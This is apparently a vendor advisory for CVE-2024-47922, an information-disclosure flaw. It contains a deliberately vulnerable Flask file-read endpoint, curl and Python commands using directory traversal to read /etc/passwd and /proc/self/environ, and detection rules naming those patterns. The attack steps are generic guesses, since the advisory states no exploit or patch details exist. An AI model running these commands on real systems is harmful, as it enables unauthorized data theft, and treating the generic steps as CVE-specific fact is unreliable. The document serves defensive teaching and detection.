CVE-2024-47922

Executive Summary

CVE-2024-47922 is a high-severity vulnerability (CVSS 7.5) involving the exposure of sensitive information to an unauthorized actor (CWE-200). The vulnerability allows an attacker to access confidential data without authentication, potentially leading to further compromise. No exploit code, proof-of-concept, or patch details are currently available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the lack of a patch makes this a significant risk for any affected system.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is High due to the ease of exploitation and the potential for significant data leakage. The vulnerability requires no authentication or user interaction, making it a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

CVE-2024-47922 is a classic information disclosure vulnerability. The root cause is the exposure of sensitive information (e.g., credentials, session tokens, internal configuration data) to an unauthorized actor. This typically occurs when an application fails to properly restrict access to resources or endpoints that contain confidential data.

Common Attack Vectors:

• Directory Traversal: An attacker may access files outside the intended directory (e.g., /../../etc/passwd).
• Insecure Direct Object Reference (IDOR): An attacker can manipulate parameters to access data belonging to other users.
• Error Message Leakage: Detailed error messages may reveal stack traces, database schemas, or other sensitive information.
• Unprotected API Endpoints: Endpoints that return sensitive data without proper authentication or authorization checks.

Potential Impact:

• Exposure of database credentials, API keys, or encryption keys.
• Leakage of personally identifiable information (PII) or protected health information (PHI).
• Disclosure of internal network topology or system architecture.
• Facilitation of further attacks (e.g., privilege escalation, lateral movement).

Vulnerable vs. Patched Code

Since no patch or specific vulnerable code is available, we provide a generic example of a vulnerable endpoint and its patched version.

Vulnerable Code (Python Flask example):

from flask import Flask, request, jsonify
import os

app = Flask(__name__)

@app.route('/api/config')
def get_config():
    # No authentication check
    config_path = request.args.get('path', 'config.json')
    with open(config_path, 'r') as f:
        data = f.read()
    return jsonify({"config": data})

Patched Code:

from flask import Flask, request, jsonify, abort
import os

app = Flask(__name__)

ALLOWED_PATHS = ['config.json', 'settings.json']

@app.route('/api/config')
def get_config():
    # Authentication check
    if not request.headers.get('Authorization'):
        abort(401)
    config_path = request.args.get('path', 'config.json')
    if config_path not in ALLOWED_PATHS:
        abort(403)
    with open(config_path, 'r') as f:
        data = f.read()
    return jsonify({"config": data})

Exploitation & Lab Setup

Red Team (Exploitation)

Objective: Extract sensitive information from the vulnerable endpoint.

Step 1: Reconnaissance Identify the vulnerable endpoint using Shodan or manual scanning:

curl -v http://target.com/api/config

Step 2: Exploit Directory Traversal Attempt to read sensitive files:

curl "http://target.com/api/config?path=../../etc/passwd"

Step 3: Exploit IDOR If the endpoint uses user IDs, try to access other users' data:

curl "http://target.com/api/user/1/profile"
curl "http://target.com/api/user/2/profile"

Step 4: Automate with Python

import requests

target = "http://target.com"
paths = ["config.json", "../../etc/passwd", "../../proc/self/environ"]

for path in paths:
    r = requests.get(f"{target}/api/config", params={"path": path})
    if r.status_code == 200:
        print(f"[+] Found: {path}")
        print(r.text)

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual file path patterns in HTTP requests (e.g., ../, %2e%2e/).
• Alert on access to sensitive endpoints without authentication.
• Use WAF rules to block directory traversal attempts.

Mitigation:

• Implement strict input validation and allowlisting.
• Enforce authentication and authorization on all sensitive endpoints.
• Use a Web Application Firewall (WAF) to block common attack patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing ../ or %2e%2e in query parameters.
  • Requests to /api/config, /api/user/*/profile, or similar endpoints without authentication.
  • Unusual error messages containing stack traces or file paths.

• File IOCs:

  • Unauthorized access to /etc/passwd, /etc/shadow, .env, config.json, or web.config.
  • Creation of suspicious files in web-accessible directories.

• Log IOCs:

  • Repeated 403/404 errors followed by a 200 success on sensitive endpoints.
  • Log entries showing access to files outside the web root.

Detection Engineering

YARA Rule

rule CVE_2024_47922_InfoDisclosure {
    meta:
        description = "Detects attempts to exploit CVE-2024-47922 information disclosure"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-47922"
    strings:
        $path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/
        $sensitive_file = /etc\/passwd|etc\/shadow|config\.json|\.env|web\.config/
        $api_endpoint = /api\/config|api\/user\/\d+\/profile/
    condition:
        any of ($path_traversal) and any of ($sensitive_file) or any of ($api_endpoint)
}

Sigma Rule

title: CVE-2024-47922 Information Disclosure Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-47922
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
        cs-uri-stem|contains:
            - '/api/config'
            - '/api/user/'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in some applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47922 Information Disclosure Attempt"; flow:to_server; content:"GET"; http_method; content:"../"; http_uri; nocase; content:"/api/config"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the network if possible.
2. Implement a Web Application Firewall (WAF) with rules to block path traversal and unauthorized access to sensitive endpoints.
3. Review access logs for signs of exploitation.

Long-Term Fixes:

1. Apply vendor patch once available.
2. Implement proper authentication and authorization for all API endpoints.
3. Use input validation and allowlisting for file paths and user IDs.
4. Conduct a security audit of the application to identify similar vulnerabilities.

Workarounds:

• Disable the vulnerable endpoint if not essential.
• Restrict access to the endpoint via network segmentation or IP allowlisting.

Valters IT